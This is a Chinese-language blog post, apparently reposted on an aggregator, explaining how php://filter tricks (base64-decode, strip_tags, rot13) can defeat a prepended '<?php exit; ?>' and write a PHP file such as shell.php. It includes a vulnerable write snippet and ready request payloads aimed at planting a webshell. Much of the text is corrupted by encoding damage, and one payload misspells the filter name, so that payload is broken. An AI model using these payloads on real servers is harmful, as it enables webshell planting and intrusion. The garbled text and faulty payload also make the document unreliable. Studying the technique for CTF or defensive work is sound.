php://filter利用条件,浅谈php://filter技巧
php://filter
php://filter可以作為一個(gè)中間流來(lái)處理其他流,具有四個(gè)參數(shù):
名稱
描述
備注
resource=
指定了你要篩選過(guò)濾的數(shù)據(jù)流
必選
read=
可以設(shè)定一個(gè)或多個(gè)過(guò)濾器名稱,以管道符(|)分隔。
可選
write=
可以設(shè)定一個(gè)或多個(gè)過(guò)濾器名稱,以管道符(|)分隔。
可選
任何沒(méi)有以 read= 或 write= 作前綴的篩選器列表會(huì)視情況應(yīng)用于讀或?qū)戞湣?/p>
巧用編碼與解碼
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
$content在開(kāi)頭增加了exit過(guò)程,導(dǎo)致即使成功寫(xiě)入一句話,也執(zhí)行不了(這個(gè)過(guò)程在實(shí)戰(zhàn)中十分常見(jiàn),通常出現(xiàn)在緩存、配置文件等等地方,不允許用戶直接訪問(wèn)的文件,都會(huì)被加上if(!defined(xxx))exit;之類(lèi)的限制)。
但是這里的$_POST['filename']是可以控制協(xié)議的,可以使用php://filter流的base64-decode方法,將$content解碼,利用php base64_decode函數(shù)特性繞過(guò)。
base64編碼中只包含64個(gè)可打印字符,而PHP在解碼base64時(shí),遇到不在其中的字符時(shí),將會(huì)跳過(guò)這些字符,僅將合法字符組成一個(gè)新的字符串進(jìn)行解碼。
一個(gè)正常的base64_decode實(shí)際上可以理解為如下兩個(gè)步驟:
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
所以,當(dāng)$content被加上了<?php exit; ?>以后,我們可以使用 php://filter/write=convert.base64-decode 來(lái)首先對(duì)其解碼。在解碼的過(guò)程中,字符、空格等一共有7個(gè)字符不符合base64編碼的字符范圍將被忽略,所以最終被解碼的字符僅有“phpexit”和我們傳入的其他字符。
“phpexit”一共7個(gè)字符,因?yàn)閎ase64算法解碼時(shí)是4個(gè)byte一組,所以給他增加1個(gè)“a”一共8個(gè)字符。這樣,"phpexita"被正常解碼,而后面我們傳入的webshell的base64內(nèi)容也被正常解碼。結(jié)果就是<?php exit; ?>沒(méi)有了。
pyload:
txt=aPD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=convert.base64-decode/resource=shell.php
利用字符串操作方法
<?php exit; ?>實(shí)際上是一個(gè)XML標(biāo)簽,既然是XML標(biāo)簽,我們就可以利用strip_tags函數(shù)去除它,而php://filter剛好是支持這個(gè)方法的。
編寫(xiě)如下測(cè)試代碼即可查看 php://filter/read=string.strip_tags/resource=php://input的效果:
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
可見(jiàn),<?php exit; ?>被去除了。但回到上面的題目,我們最終的目的是寫(xiě)入一個(gè)webshell,而寫(xiě)入的webshell也是php代碼,如果使用strip_tags同樣會(huì)被去除。
萬(wàn)幸的是,php://filter允許使用多個(gè)過(guò)濾器,我們可以先將webshell用base64編碼。在調(diào)用完成strip_tags后再進(jìn)行base64-decode。<?php exit; ?>在第一步被去除,而webshell在第二步被還原。
最終的數(shù)據(jù)包如下:
pyload:
txt=PD9waHAgcGhwaW5mbygpOyA/Pg==&filename=php://filter/write=string.strip_tages | convert.base64-decode/resource=shell.php
利用rot13操作方法
原理和上面類(lèi)似,核心是將“死亡exit”去除。<?php exit; ?>在經(jīng)過(guò)rot13編碼后會(huì)變成<?cuc rkvg; ?>,在PHP不開(kāi)啟short_open_tag時(shí),php不認(rèn)識(shí)這個(gè)字符串,當(dāng)然也就不會(huì)執(zhí)行了:
pyload:
txt=<?cuc cucvasb(); ?>&filename=php://filter/write=string.rot13/resource=shell.php
總結(jié)
以上是生活随笔為你收集整理的php://filter利用条件,浅谈php://filter技巧的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: dos c语言显示符号图案,在DOS命令
- 下一篇: 毕业就业推荐表计算机,毕业生就业推荐表